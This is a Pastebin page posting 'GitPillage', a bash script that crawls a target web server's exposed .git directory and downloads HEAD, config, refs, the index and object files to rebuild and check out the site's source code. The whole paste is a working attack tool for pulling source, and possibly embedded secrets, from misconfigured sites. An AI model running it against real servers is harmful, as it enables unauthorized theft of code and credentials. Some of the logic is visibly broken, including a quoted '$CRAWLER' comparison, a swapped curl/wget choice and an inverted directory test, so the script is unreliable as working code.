Advertisement
0xspade

GitPillage

Feb 13th, 2018
168
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 2.24 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. if [[ -z $1 ]]; then
  4.     cat<<EOF
  5. Usage:
  6.     $0 hostname/directory
  7.     (directory is optional)
  8. Example:
  9.     $0 www.example.com/images (would crawl http://example.com/images/.git/)
  10.     $0 www.example.com (would crawl http://example.com/.git/)
  11. EOF
  12. exit 1
  13. else
  14.     #Parse out directories and build base url
  15.     if [[ $1 =~ "/" ]] ; then
  16.         HOST=${1%%/*}
  17.         DIR=${1#*/}
  18.     else
  19.         HOST=$1
  20.         DIR=""
  21.     fi
  22.     if [[ -e $DIR ]]; then
  23.         BASEURL="http://${HOST}/.git/"
  24.     else
  25.         BASEURL="http://${HOST}/${DIR}/.git/"
  26.     fi
  27. fi
  28.  
  29. CURL_AVAILABLE=`which curl`
  30. WGET_AVAILABLE=`which wget`
  31. if [[ -z $CURL_AVAILABLE && -z $WGET_AVAILABLE ]]; then
  32.     echo "Unable to find useable http client (need curl or wget)"
  33.     exit 1
  34. elif [ -e $WGET_AVAILABLE ]; then
  35.     CRAWLER='curl'
  36. else
  37.     CRAWLER='wget'
  38. fi
  39.  
  40. OFS=$IFS
  41. export IFS="/"
  42. DIR_COUNT=0
  43. for word in $DIR; do
  44.     let DIR_COUNT=$DIR_COUNT+1
  45. done
  46. export IFS=$OFS
  47.  
  48. # FUNCTIONS HERP DERP
  49. function get {
  50.     if [ '$CRAWLER' == 'wget' ]; then
  51.         wget $BASEURL$1 -x -nH --cut-dirs=$DIR_COUNT
  52.     else
  53.         curl $BASEURL$1 -s -S --create-dirs -o .git/$1
  54.     fi
  55. }
  56.  
  57. function getsha {
  58.     dir=${1:0:2}
  59.     filename=${1:2:40}
  60.     get "objects/${dir}/${filename}"
  61. }
  62.  
  63. #####################
  64.  
  65. # 1 - git init
  66. git init ${HOST}
  67. cd ${HOST}
  68.  
  69. #2 - get static files
  70. get "HEAD"
  71. get "config"
  72.  
  73. #3 - get ref from HEAD
  74. ref=`cat .git/HEAD|awk '{print $2}'`
  75. get $ref
  76.  
  77. #4 - get object from ref
  78. getsha `cat .git/$ref`
  79.  
  80. #5 - get index
  81. get "index"
  82.  
  83. echo "About to make `git ls-files|wc -l` requests to ${HOST}; This could take a while"
  84. read -p "Do you want to continue? (y/n)"
  85. [ "$REPLY" == "y" ] || exit
  86.  
  87. #6 - Try and download objects based on sha values
  88. for line in `git ls-files --stage|awk '{print $2}'`
  89. do
  90.     getsha $line
  91. done
  92.  
  93. #7 - try and get more objects based on log references
  94. file="asdf"
  95. prev=""
  96. while [ "$file" != "" ]
  97. do
  98.     prev=$file
  99.     file=`git log 2>&1 |grep "^error:"|awk '{print $5}'`
  100.     if [ "$file" == "$prev" ]
  101.     then
  102.         break
  103.     fi
  104.     getsha $file
  105. done
  106.  
  107. #8 - try and checkout files. It's not perfect, but you might get lucky
  108. for line in `git ls-files`
  109. do
  110.     git checkout $line
  111. done
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement